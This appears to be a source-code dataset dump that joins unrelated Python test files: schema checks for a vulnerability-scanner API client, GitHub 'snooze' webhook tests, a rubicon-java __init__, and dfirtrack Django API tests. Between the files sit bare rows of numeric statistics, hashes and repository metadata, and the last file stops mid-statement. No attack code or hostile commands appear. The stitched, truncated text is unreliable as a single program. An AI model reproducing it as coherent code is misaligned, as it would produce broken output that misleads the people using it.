check(vuln, 'pluginModDate', str) check(vuln, 'pluginName', str) check(vuln, 'pluginPubDate', str) check(vuln, 'pluginText', str) check(vuln, 'port', str) check(vuln, 'protocol', str) check(vuln, 'recastRisk', str) check(vuln, 'repository', dict) check(vuln['repository'], 'dataFormat', str) check(vuln['repository'], 'description', str) check(vuln['repository'], 'id', str) check(vuln['repository'], 'name', str) check(vuln, 'riskFactor', str) check(vuln, 'seeAlso', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) check(vuln, 'solution', str) check(vuln, 'stigSeverity', str) check(vuln, 'synopsis', str) check(vuln, 'temporalScore', str) check(vuln, 'uniqueness', str) check(vuln, 'uuid', str) check(vuln, 'version', str) check(vuln, 'vulnPubDate', str) check(vuln, 'xref', str) @pytest.mark.vcr() def test_analysis_vulns_vulnipdetail_tool(sc): vulns = sc.analysis.vulns(tool='vulnipdetail', pages=2, limit=5) for vuln in vulns: check(vuln, 'family', dict) check(vuln['family'], 'type', str) check(vuln['family'], 'id', str) check(vuln['family'], 'name', str) check(vuln, 'hosts', list) host = vuln['hosts'][0] check(host, 'iplist', list) check(host, 'repository', dict) check(host['repository'], 'dataFormat', str) check(host['repository'], 'description', str) check(host['repository'], 'id', str) check(host['repository'], 'name', str) for ip_address in host['iplist']: check(ip_address, 'ip', str) check(ip_address, 'netbiosName', str) check(ip_address, 'dnsName', str) check(ip_address, 'uuid', str) check(ip_address, 'macAddress', str) check(vuln, 'name', str) check(vuln, 'pluginDescription', str) check(vuln, 'pluginID', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) check(vuln, 'total', str) @pytest.mark.vcr() def test_analysis_vulns_vulnipsummary_tool(sc): vulns = sc.analysis.vulns(tool='vulnipsummary', pages=2, limit=5) for vuln in vulns: check(vuln, 'family', dict) check(vuln['family'], 'type', str) check(vuln['family'], 'id', str) check(vuln['family'], 'name', str) check(vuln, 'hosts', list) host = vuln['hosts'][0] check(host, 'iplist', str) check(host, 'repository', dict) check(host['repository'], 'dataFormat', str) check(host['repository'], 'description', str) check(host['repository'], 'id', str) check(host['repository'], 'name', str) check(vuln, 'name', str) check(vuln, 'pluginDescription', str) check(vuln, 'pluginID', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) check(vuln, 'total', str) @pytest.mark.vcr() def test_analysis_console_logs(sc): logs = sc.analysis.console(pages=2, limit=5) for log in logs: assert isinstance(log, dict) check(log, 'initiator', dict) check(log['initiator'], 'username', str) check(log['initiator'], 'firstname', str) check(log['initiator'], 'lastname', str) try: check(log['initiator'], 'id', int) except AssertionError: check(log['initiator'], 'id', str) check(log, 'severity', dict) check(log['severity'], 'description', str) check(log['severity'], 'id', str) check(log['severity'], 'name', str) check(log, 'rawLog', str) check(log, 'module', str) check(log, 'date', 'datetime') check(log, 'organization', dict) check(log['organization'], 'description', str) check(log['organization'], 'id', str) check(log['organization'], 'name', str) check(log, 'message', str) @pytest.mark.vcr() def test_analysis_mobile_listvuln(sc): vulns = sc.analysis.mobile(tool='listvuln', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'identifier', str) check(vuln, 'pluginID', str) check(vuln, 'pluginName', str) check(vuln, 'repository', dict) check(vuln['repository'], 'description', str) check(vuln['repository'], 'id', str) check(vuln['repository'], 'name', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) @pytest.mark.vcr() def test_analysis_mobile_sumdeviceid(sc): vulns = sc.analysis.mobile(tool='sumdeviceid', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'identifier', str) check(vuln, 'model', str) check(vuln, 'repository', dict) check(vuln['repository'], 'description', str) check(vuln['repository'], 'id', str) check(vuln['repository'], 'name', str) check(vuln, 'score', str) check(vuln, 'serial', str) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityInfo', str) check(vuln, 'severityLow', str) check(vuln, 'severityMedium', str) check(vuln, 'total', str) @pytest.mark.vcr() def test_analysis_mobile_summdmuser(sc): vulns = sc.analysis.mobile(tool='summdmuser', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'score', str) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityInfo', str) check(vuln, 'severityLow', str) check(vuln, 'severityMedium', str) check(vuln, 'total', str) check(vuln, 'user', str) @pytest.mark.vcr() def test_analysis_mobile_summodel(sc): vulns = sc.analysis.mobile(tool='summodel', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'deviceCount', str) check(vuln, 'model', str) check(vuln, 'score', str) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityInfo', str) check(vuln, 'severityLow', str) check(vuln, 'severityMedium', str) check(vuln, 'total', str) @pytest.mark.vcr() def test_analysis_mobile_sumoscpe(sc): vulns = sc.analysis.mobile(tool='sumoscpe', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'deviceCount', str) check(vuln, 'osCPE', str) check(vuln, 'score', str) check(vuln, 'severityCritical', str) check(vuln, 'severityHigh', str) check(vuln, 'severityInfo', str) check(vuln, 'severityLow', str) check(vuln, 'severityMedium', str) check(vuln, 'total', str) @pytest.mark.vcr() def test_analysis_mobile_sumpluginid(sc): vulns = sc.analysis.mobile(tool='sumpluginid', pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'name', str) check(vuln, 'pluginID', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) check(vuln, 'total', str) @pytest.mark.vcr() def test_analysis_mobile_vulndetails(sc): vulns = sc.analysis.mobile(pages=2, limit=5) for vuln in vulns: assert isinstance(vuln, dict) check(vuln, 'baseScore', str) check(vuln, 'bid', str) check(vuln, 'checkType', str) check(vuln, 'cpe', str) check(vuln, 'cve', str) check(vuln, 'cvssVector', str) check(vuln, 'description', str) check(vuln, 'deviceVersion', str) check(vuln, 'exploitAvailable', str) check(vuln, 'exploitEase', str) check(vuln, 'exploitFrameworks', str) check(vuln, 'identifier', str) check(vuln, 'lastSeen', str) check(vuln, 'mdmType', str) check(vuln, 'model', str) check(vuln, 'osCPE', str) check(vuln, 'patchPubDate', str) check(vuln, 'pluginID', str) check(vuln, 'pluginInfo', str) check(vuln, 'pluginModDate', str) check(vuln, 'pluginName', str) check(vuln, 'pluginOutput', str) check(vuln, 'pluginPubDate', str) check(vuln, 'port', str) check(vuln, 'protocol', str) check(vuln, 'repository', dict) check(vuln['repository'], 'description', str) check(vuln['repository'], 'id', str) check(vuln['repository'], 'name', str) check(vuln, 'riskFactor', str) check(vuln, 'seeAlso', str) check(vuln, 'serial', str) check(vuln, 'severity', dict) check(vuln['severity'], 'description', str) check(vuln['severity'], 'id', str) check(vuln['severity'], 'name', str) check(vuln, 'solution', str) check(vuln, 'stigSeverity', str) check(vuln, 'synopsis', str) check(vuln, 'temporalScore', str) check(vuln, 'user', str) check(vuln, 'version', str) check(vuln, 'vulnPubDate', str) check(vuln, 'xref', str) @pytest.mark.vcr() def test_analysis_events_listdata(sc): events = sc.analysis.events(tool='listdata', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'destination ip', str) check(event, 'destination port', str) check(event, 'event', str) check(event, 'number of vulns', str) check(event, 'protocol', str) check(event, 'sensor', str) check(event, 'source ip', str) check(event, 'time', str) check(event, 'type', str) check(event, 'va/ids', str) @pytest.mark.vcr() def test_analysis_events_sumasset(sc): events = sc.analysis.events(tool='sumasset', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'asset', dict) check(event['asset'], 'description', str) check(event['asset'], 'id', str) check(event['asset'], 'name', str) check(event['asset'], 'status', str) check(event['asset'], 'type', str) try: check(event, 'count', str) except AssertionError: check(event, 'count', int) @pytest.mark.vcr() def test_analysis_events_sumclassa(sc): events = sc.analysis.events(tool='sumclassa', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'class-a', str) check(event, 'count', str) @pytest.mark.vcr() def test_analysis_events_sumclassb(sc): events = sc.analysis.events(tool='sumclassb', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'class-b', str) check(event, 'count', str) @pytest.mark.vcr() def test_analysis_events_sumclassc(sc): events = sc.analysis.events(tool='sumclassc', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'class-c', str) check(event, 'count', str) @pytest.mark.vcr() def test_analysis_events_sumconns(sc): events = sc.analysis.events(tool='sumconns', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'count', str) check(event, 'destination ip', str) check(event, 'source ip', str) @pytest.mark.vcr() def test_analysis_events_sumdate(sc): events = sc.analysis.events(tool='sumdate', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, '24-hour plot', str) check(event, 'count', str) check(event, 'date', str) check(event, 'time block start', str) check(event, 'time block stop', str) @pytest.mark.vcr() def test_analysis_events_sumdstip(sc): events = sc.analysis.events(tool='sumdstip', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'address', str) check(event, 'count', str) check(event, 'lce', dict) check(event['lce'], 'description', str) check(event['lce'], 'id', str) check(event['lce'], 'name', str) check(event['lce'], 'status', str) @pytest.mark.vcr() def test_analysis_events_sumevent(sc): events = sc.analysis.events(tool='sumevent', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, '24-hour plot', str) check(event, 'count', str) check(event, 'description', str) check(event, 'event', str) check(event, 'file', str) @pytest.mark.vcr() def test_analysis_events_sumevent2(sc): events = sc.analysis.events(tool='sumevent2', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, '24-hour plot', str) check(event, 'count', str) check(event, 'description', str) check(event, 'event', str) check(event, 'file', str) @pytest.mark.vcr() def test_analysis_events_sumip(sc): events = sc.analysis.events(tool='sumip', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'address', str) check(event, 'count', str) check(event, 'lce', dict) check(event['lce'], 'description', str) check(event['lce'], 'id', str) check(event['lce'], 'name', str) check(event['lce'], 'status', str) @pytest.mark.vcr() def test_analysis_events_sumport(sc): events = sc.analysis.events(tool='sumport', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'count', str) check(event, 'port', str) @pytest.mark.vcr() def test_analysis_events_sumprotocol(sc): events = sc.analysis.events(tool='sumprotocol', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'count', str) check(event, 'protocol', str) @pytest.mark.vcr() def test_analysis_events_sumsrcip(sc): events = sc.analysis.events(tool='sumsrcip', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'address', str) check(event, 'count', str) check(event, 'lce', dict) check(event['lce'], 'description', str) check(event['lce'], 'id', str) check(event['lce'], 'name', str) check(event['lce'], 'status', str) @pytest.mark.vcr() def test_analysis_events_sumtime(sc): events = sc.analysis.events(tool='sumtime', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'count', str) check(event, 'time block start', str) check(event, 'time block stop', str) @pytest.mark.vcr() def test_analysis_events_sumtype(sc): events = sc.analysis.events(tool='sumtype', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, '24-hour plot', str) check(event, 'count', str) check(event, 'type', str) @pytest.mark.vcr() def test_analysis_events_sumuser(sc): events = sc.analysis.events(tool='sumuser', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, '24-hour plot', str) check(event, 'count', str) check(event, 'user', str) @pytest.mark.vcr() def test_analysis_events_syslog(sc): events = sc.analysis.events(tool='syslog', pages=2, limit=5) for event in events: assert isinstance(event, dict) check(event, 'message', str) check(event, 'sensor', str) check(event, 'time', str) check(event, 'type', str)

33.902354

77

0.585146

4,462

38,886

5.029359

0.058494

0.15436

0.183414

0.042779

0.864712

0.843991

0.808119

0.718061

0.690032

0.684194

0

0.007464

0.259219

38,886

1,146

78

33.931937

0.771575

0

0.747253

0

0.178728

0.00108

0

0.06993

1

0.071928

false

0

0.003996

0

0.075924

0

null

0

1

0

1

0

1

0

1

0

null

0

7

fe4ac0c80fe31b2dc77db629d7e5674fa16aef7b

8,616

py

Python

snooze/test/test_callbacks.py

DragonHans86/github-snooze-button

bce8000aebbb231b9344cccd1ac8c2323431516c

[ "MIT" ]

233

2016-04-03T11:12:51.000Z

2022-02-20T06:08:16.000Z

snooze/test/test_callbacks.py

DragonHans86/github-snooze-button

bce8000aebbb231b9344cccd1ac8c2323431516c

[ "MIT" ]

11

2016-04-03T19:54:23.000Z

2018-10-12T19:08:27.000Z

snooze/test/test_callbacks.py

DragonHans86/github-snooze-button

bce8000aebbb231b9344cccd1ac8c2323431516c

[ "MIT" ]

31

2017-04-06T00:48:25.000Z

2022-02-15T08:16:37.000Z

import json from textwrap import dedent import pytest import responses import requests from testfixtures import LogCapture import snooze import snooze.callbacks import github_responses class TestGithubWebhookCallback(object): @pytest.fixture def config(self, tmpdir): config = tmpdir.join("config.txt") config.write(dedent("""\ [baxterthehacker/public-repo] github_username: frodo github_token: baggins aws_key: shire aws_secret: precious aws_region: us-west-2 snooze_label: snooze """)) return snooze.parse_config(str(config))["baxterthehacker/public-repo"] @responses.activate def test_issue_comment_callback(self, config): """Test that a snooze label is removed from issues when a new comment is received.""" responses.add( responses.PATCH, "https://api.github.com/repos/baxterthehacker/public-repo/issues/2") r = snooze.github_callback( "issue_comment", json.loads(github_responses.SNOOZED_ISSUE_COMMENT), (config["github_username"], config["github_token"]), config["snooze_label"], config["ignore_members_of"]) assert r is True assert len(responses.calls) == 1 org_url = "https://api.github.com/orgs/fellowship/members/baxterthehacker" responses.add(responses.GET, org_url, status=204) # is a member r = snooze.github_callback( "issue_comment", json.loads(github_responses.SNOOZED_ISSUE_COMMENT), (config["github_username"], config["github_token"]), config["snooze_label"], ignore_members_of="fellowship") assert r is False orc_url = "https://api.github.com/orgs/orcs/members/baxterthehacker" responses.add(responses.GET, orc_url, status=404) # is not a member r = snooze.github_callback( "issue_comment", json.loads(github_responses.SNOOZED_ISSUE_COMMENT), (config["github_username"], config["github_token"]), config["snooze_label"], ignore_members_of="orcs") assert r is True @responses.activate def test_issue_comment_callback_not_snoozed(self, config): """Don't do anything on receiving an unsnoozed message.""" r = snooze.github_callback( "issue_comment", json.loads(github_responses.UNSNOOZED_ISSUE_COMMENT), (config["github_username"], config["github_token"]), config["snooze_label"], config["ignore_members_of"]) assert r is False assert len(responses.calls) == 0 @responses.activate def test_pr_synchronize_callback(self, config): """Test that a snooze label is removed from PRs when a new commit is pushed.""" responses.add( responses.PATCH, "https://api.github.com/repos/octocat/Hello-World/issues/1347") responses.add( responses.GET, "https://api.github.com/repos/baxterthehacker/public-repo/issues/1", body=github_responses.SNOOZED_ISSUE_GET) r = snooze.github_callback( "pull_request", json.loads(github_responses.PULL_REQUEST), (config["github_username"], config["github_token"]), config["snooze_label"], config["ignore_members_of"]) assert r is True assert len(responses.calls) == 2 @responses.activate def test_pr_synchronize_callback_not_snoozed(self, config): """Test that a snooze label is not removed from PRs when a new commit is pushed but there is no snooze label.""" responses.add( responses.GET, "https://api.github.com/repos/baxterthehacker/public-repo/issues/1", body=github_responses.UNSNOOZED_ISSUE_GET) r = snooze.github_callback( "pull_request", json.loads(github_responses.PULL_REQUEST), (config["github_username"], config["github_token"]), config["snooze_label"], config["ignore_members_of"]) assert r is False assert len(responses.calls) == 1 @responses.activate def test_pr_commit_comment_callback(self, config): """Test that a snooze label is removed from PRs when a new commit is pushed.""" responses.add( responses.PATCH, "https://api.github.com/repos/octocat/Hello-World/issues/1347") responses.add( responses.GET, "https://api.github.com/repos/baxterthehacker/public-repo/issues/1", body=github_responses.SNOOZED_ISSUE_GET) r = snooze.github_callback( "pull_request_review_comment", json.loads(github_responses.PULL_REQUEST_REVIEW_COMMENT), (config["github_username"], config["github_token"]), config["snooze_label"], config["ignore_members_of"]) assert r is True assert len(responses.calls) == 2 org_url = "https://api.github.com/orgs/fellowship/members/baxterthehacker" responses.add(responses.GET, org_url, status=204) # is a member r = snooze.github_callback( "pull_request_review_comment", json.loads(github_responses.PULL_REQUEST_REVIEW_COMMENT), (config["github_username"], config["github_token"]), config["snooze_label"], ignore_members_of="fellowship") assert r is False orc_url = "https://api.github.com/orgs/orcs/members/baxterthehacker" responses.add(responses.GET, orc_url, status=404) # is not a member r = snooze.github_callback( "pull_request_review_comment", json.loads(github_responses.PULL_REQUEST_REVIEW_COMMENT), (config["github_username"], config["github_token"]), config["snooze_label"], ignore_members_of="orcs") assert r is True @responses.activate def test_pr_commit_comment_callback_not_snoozed(self, config): """Test that a snooze label is not removed from PRs when a new commit is pushed but there is no snooze label.""" responses.add( responses.GET, "https://api.github.com/repos/baxterthehacker/public-repo/issues/1", body=github_responses.UNSNOOZED_ISSUE_GET) r = snooze.github_callback( "pull_request_review_comment", json.loads(github_responses.PULL_REQUEST_REVIEW_COMMENT), (config["github_username"], config["github_token"]), config["snooze_label"], config["ignore_members_of"]) assert r is False assert len(responses.calls) == 1 def test_bad_callback_type_is_logged(self, config): with LogCapture() as l: snooze.github_callback("foobar", None, None, None, None) assert "WARNING" in str(l) class TestIsMember(object): @pytest.fixture def config(self, tmpdir): config = tmpdir.join("config.txt") config.write(dedent("""\ [baxterthehacker/public-repo] github_username: frodo github_token: baggins aws_key: shire aws_secret: precious aws_region: us-west-2 snooze_label: snooze ignore_members_of: fellowship """)) return snooze.parse_config(str(config))["baxterthehacker/public-repo"] @pytest.fixture def github_auth(self, config): return (config["github_username"], config["github_token"]) @responses.activate def test_is_member_true(self, config, github_auth): url = "https://api.github.com/orgs/fellowship/members/bilbo" responses.add(responses.GET, url, status=204) assert snooze.callbacks.is_member_of(github_auth, "bilbo", "fellowship") @responses.activate def test_is_member_false(self, config, github_auth): url = "https://api.github.com/orgs/fellowship/members/sauron" responses.add(responses.GET, url, status=404) assert snooze.callbacks.is_member_of(github_auth, "sauron", "fellowship") is False @responses.activate def test_is_member_raises(self, config, github_auth): url = "https://api.github.com/orgs/fellowship/members/bilbo" responses.add(responses.GET, url, status=200) with pytest.raises(requests.exceptions.HTTPError): snooze.callbacks.is_member_of(github_auth, "bilbo", "fellowship")

40.074419

90

0.636722

992

8,616

5.325605

0.132056

0.056786

0.05565

0.04505

0.89135

0.89116

0.855953

0.832671

0.814878

0.759417

0

0.006569

0.257892

8,616

214

91

40.261682

0.819675

0.063951

0

0.791209

0

0.281316

0.027531

0

0.104396

1

0.071429

false

0

0.049451

0.005495

0.148352

0

null

0

1

0

1

0

null

0

7

fe87ff8f2768210a7912a12c5d5cec18925ed728

144

py

Python

rubicon/java/__init__.py

eliteraspberries/rubicon-java

87049b4d6479158ce61bd414a4d45ab9567f8588

[ "BSD-3-Clause" ]

36

2019-04-17T11:17:14.000Z

2022-02-11T02:09:26.000Z

rubicon/java/__init__.py

eliteraspberries/rubicon-java

87049b4d6479158ce61bd414a4d45ab9567f8588

[ "BSD-3-Clause" ]

38

2019-12-05T03:38:24.000Z

2022-03-29T04:50:36.000Z

rubicon/java/__init__.py

eliteraspberries/rubicon-java

87049b4d6479158ce61bd414a4d45ab9567f8588

[ "BSD-3-Clause" ]

14

2019-05-07T15:01:42.000Z

2022-01-03T21:04:14.000Z

from .api import * # noqa; F401, F403 from .jni import * # noqa; F401, F403 from .types import * # noqa; F401, F403 __version__ = '0.2.5'

24

40

0.631944

22

144

3.954545

0.545455

0.344828

0.482759

0.62069

0.505747

0

0.189189

0.229167

144

5

41

28.8

0.594595

0.347222

0

0.055556

0

1

0

false

0

0.75

0

0.75

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

fea3d1352f0ec214bc77d218734cc93812b75bf6

18,464

py

Python

Incident-Response/Tools/dfirtrack/dfirtrack_api/tests/dfirtrack_main/system/test_system_api_views.py

sn0b4ll/Incident-Playbook

cf519f58fcd4255674662b3620ea97c1091c1efb

[ "MIT" ]

1

2021-07-24T17:22:50.000Z

Incident-Response/Tools/dfirtrack/dfirtrack_api/tests/dfirtrack_main/system/test_system_api_views.py

sn0b4ll/Incident-Playbook

cf519f58fcd4255674662b3620ea97c1091c1efb

[ "MIT" ]

2

2022-02-28T03:40:31.000Z

2022-02-28T03:40:52.000Z

Incident-Response/Tools/dfirtrack/dfirtrack_api/tests/dfirtrack_main/system/test_system_api_views.py

sn0b4ll/Incident-Playbook

cf519f58fcd4255674662b3620ea97c1091c1efb

[ "MIT" ]

2

2022-02-25T08:34:51.000Z

2022-03-16T17:29:44.000Z

from django.contrib.auth.models import User from django.test import TestCase from django.utils import timezone from dfirtrack_main.models import Analysisstatus, Case, Company, Contact, Dnsname, Domain, Ip, Location, Os, Osarch, Reason, Recommendation, Serviceprovider, System, Systemstatus, Systemtype, Tag, Tagcolor import urllib.parse class SystemAPIViewTestCase(TestCase): """ system API view tests """ @classmethod def setUpTestData(cls): # create user test_user = User.objects.create_user(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # create mandatory foreign key objects # create object systemstatus_1 = Systemstatus.objects.create(systemstatus_name='systemstatus_1') # create optional foreign key objects # create object Analysisstatus.objects.create(analysisstatus_name='analysisstatus_1') # create object Case.objects.create( case_name = 'case_1', case_is_incident = True, case_created_by_user_id = test_user, ) # create object Company.objects.create(company_name='company_1') # create object Contact.objects.create( contact_name = 'contact_1', contact_email = 'contact_email_1', ) # create object Dnsname.objects.create(dnsname_name='dnsname_1') # create object Domain.objects.create(domain_name='domain_1') # create foreign key system System.objects.create( system_name = 'hostsystem_api_1', systemstatus = systemstatus_1, system_modify_time = timezone.now(), system_created_by_user_id = test_user, system_modified_by_user_id = test_user, ) # create object Ip.objects.create(ip_ip='127.0.0.1') # create object Location.objects.create(location_name='location_1') # create object Os.objects.create(os_name='os_1') # create object Osarch.objects.create(osarch_name='osarch_1') # create object Reason.objects.create(reason_name='reason_1') # create object Recommendation.objects.create(recommendation_name='recommendation_1') # create object Serviceprovider.objects.create(serviceprovider_name='serviceprovider_1') # create object Systemtype.objects.create(systemtype_name='systemtype_1') # create object tagcolor_1 = Tagcolor.objects.create(tagcolor_name='tagcolor_1') # create object Tag.objects.create( tagcolor = tagcolor_1, tag_name = 'tag_1', ) # create object System.objects.create( system_name = 'system_api_1', systemstatus = systemstatus_1, system_modify_time = timezone.now(), system_created_by_user_id = test_user, system_modified_by_user_id = test_user, ) def test_system_list_api_unauthorized(self): """ unauthorized access is forbidden""" # get response response = self.client.get('/api/system/') # compare self.assertEqual(response.status_code, 401) def test_system_list_api_method_get(self): """ GET is allowed """ # login testuser self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # get response response = self.client.get('/api/system/') # compare self.assertEqual(response.status_code, 200) def test_system_list_api_method_post(self): """ POST is allowed """ # get user test_user_id = User.objects.get(username='testuser_system_api').id # get object systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id # login testuser self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # create POST string poststring = { "system_name": "system_api_2", "systemstatus": systemstatus_id, "system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'), "system_created_by_user_id": test_user_id, "system_modified_by_user_id": test_user_id, } # get response response = self.client.post('/api/system/', data=poststring, content_type='application/json') # compare self.assertEqual(response.status_code, 201) def test_system_list_api_method_post_all_id(self): """ POST is allowed """ # get user test_user_id = User.objects.get(username='testuser_system_api').id # get object analysisstatus_id = Analysisstatus.objects.get(analysisstatus_name='analysisstatus_1').analysisstatus_id # get object case_id = Case.objects.get(case_name='case_1').case_id # get object company_id = Company.objects.get(company_name='company_1').company_id # get object contact_id = Contact.objects.get(contact_name='contact_1').contact_id # get object dnsname_id = Dnsname.objects.get(dnsname_name='dnsname_1').dnsname_id # get object domain_id = Domain.objects.get(domain_name='domain_1').domain_id # get object hostsystem_id = System.objects.get(system_name='hostsystem_api_1').system_id # get object ip_id = Ip.objects.get(ip_ip='127.0.0.1').ip_id # get object location_id = Location.objects.get(location_name='location_1').location_id # get object os_id = Os.objects.get(os_name='os_1').os_id # get object osarch_id = Osarch.objects.get(osarch_name='osarch_1').osarch_id # get object reason_id = Reason.objects.get(reason_name='reason_1').reason_id # get object recommendation_id = Recommendation.objects.get(recommendation_name='recommendation_1').recommendation_id # get object serviceprovider_id = Serviceprovider.objects.get(serviceprovider_name='serviceprovider_1').serviceprovider_id # get object systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id # get object systemtype_id = Systemtype.objects.get(systemtype_name='systemtype_1').systemtype_id # get object tag_id = Tag.objects.get(tag_name='tag_1').tag_id # login testuser self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # create POST string poststring = { "system_name": "system_api_2", "analysisstatus": analysisstatus_id, "case": [ case_id, ], "company": [ company_id, ], "contact": contact_id, "dnsname": dnsname_id, "domain": domain_id, "hostsystem": hostsystem_id, "ip": [ ip_id, ], "location": location_id, "os": os_id, "osarch": osarch_id, "reason": reason_id, "recommendation": recommendation_id, "serviceprovider": serviceprovider_id, "systemstatus": systemstatus_id, "systemtype": systemtype_id, "tag": [ tag_id, ], "system_lastbooted_time": timezone.now().strftime('%Y-%m-%dT%H:%M'), "system_deprecated_time": timezone.now().strftime('%Y-%m-%dT%H:%M'), "system_is_vm": True, "system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'), "system_created_by_user_id": test_user_id, "system_modified_by_user_id": test_user_id, "system_export_markdown": False, "system_export_spreadsheet": False, } # get response response = self.client.post('/api/system/', data=poststring, content_type='application/json') # compare self.assertEqual(response.status_code, 201) # TODO: is it possible to declare (and therefore test) nested serializers this way (like with analysisstatus in this example)? # def test_system_list_api_method_post_all_fk(self): # """ POST is allowed """ # # # get user # test_user_id = User.objects.get(username='testuser_system_api').id # # get object # analysisstatus_name = Analysisstatus.objects.get(analysisstatus_name='analysisstatus_1').analysisstatus_name # # get object # systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id # # login testuser # self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # # create POST string # poststring = { # "system_name": "system_api_2", # "analysisstatus": { # "analysisstatus_name": analysisstatus_name, # }, # "systemstatus": systemstatus_id, # "system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'), # "system_created_by_user_id": test_user_id, # "system_modified_by_user_id": test_user_id, # } # # get response # response = self.client.post('/api/system/', data=poststring, content_type='application/json') # # compare # self.assertEqual(response.status_code, 201) def test_system_list_api_redirect(self): """ test redirect with appending slash """ # login testuser self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # create url destination = urllib.parse.quote('/api/system/', safe='/') # get response response = self.client.get('/api/system', follow=True) # compare self.assertRedirects(response, destination, status_code=301, target_status_code=200) def test_system_detail_api_unauthorized (self): """ unauthorized access is forbidden""" # get object system_api_1 = System.objects.get(system_name='system_api_1') # get response response = self.client.get('/api/system/' + str(system_api_1.system_id) + '/') # compare self.assertEqual(response.status_code, 401) def test_system_detail_api_method_get(self): """ GET is allowed """ # get object system_api_1 = System.objects.get(system_name='system_api_1') # login testuser self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # get response response = self.client.get('/api/system/' + str(system_api_1.system_id) + '/') # compare self.assertEqual(response.status_code, 200) def test_system_detail_api_method_delete(self): """ DELETE is forbidden """ # get object system_api_1 = System.objects.get(system_name='system_api_1') # login testuser self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # get response response = self.client.delete('/api/system/' + str(system_api_1.system_id) + '/') # compare self.assertEqual(response.status_code, 405) def test_system_detail_api_method_put(self): """ PUT is allowed """ # get user test_user_id = User.objects.get(username='testuser_system_api').id # get object system_api_1 = System.objects.get(system_name='system_api_1') # get object systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id # login testuser self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # create url destination = urllib.parse.quote('/api/system/' + str(system_api_1.system_id) + '/', safe='/') # create PUT string putstring = { "system_name": "new_system_api_1", "systemstatus": systemstatus_id, "system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'), "system_created_by_user_id": test_user_id, "system_modified_by_user_id": test_user_id, } # get response response = self.client.put(destination, data=putstring, content_type='application/json') # compare self.assertEqual(response.status_code, 200) def test_system_detail_api_method_put_all_id(self): """ PUT is allowed """ # get user test_user_id = User.objects.get(username='testuser_system_api').id # get object system_api_1 = System.objects.get(system_name='system_api_1') # get object analysisstatus_id = Analysisstatus.objects.get(analysisstatus_name='analysisstatus_1').analysisstatus_id # get object case_id = Case.objects.get(case_name='case_1').case_id # get object company_id = Company.objects.get(company_name='company_1').company_id # get object contact_id = Contact.objects.get(contact_name='contact_1').contact_id # get object dnsname_id = Dnsname.objects.get(dnsname_name='dnsname_1').dnsname_id # get object domain_id = Domain.objects.get(domain_name='domain_1').domain_id # get object hostsystem_id = System.objects.get(system_name='hostsystem_api_1').system_id # get object ip_id = Ip.objects.get(ip_ip='127.0.0.1').ip_id # get object location_id = Location.objects.get(location_name='location_1').location_id # get object os_id = Os.objects.get(os_name='os_1').os_id # get object osarch_id = Osarch.objects.get(osarch_name='osarch_1').osarch_id # get object reason_id = Reason.objects.get(reason_name='reason_1').reason_id # get object recommendation_id = Recommendation.objects.get(recommendation_name='recommendation_1').recommendation_id # get object serviceprovider_id = Serviceprovider.objects.get(serviceprovider_name='serviceprovider_1').serviceprovider_id # get object systemstatus_id = 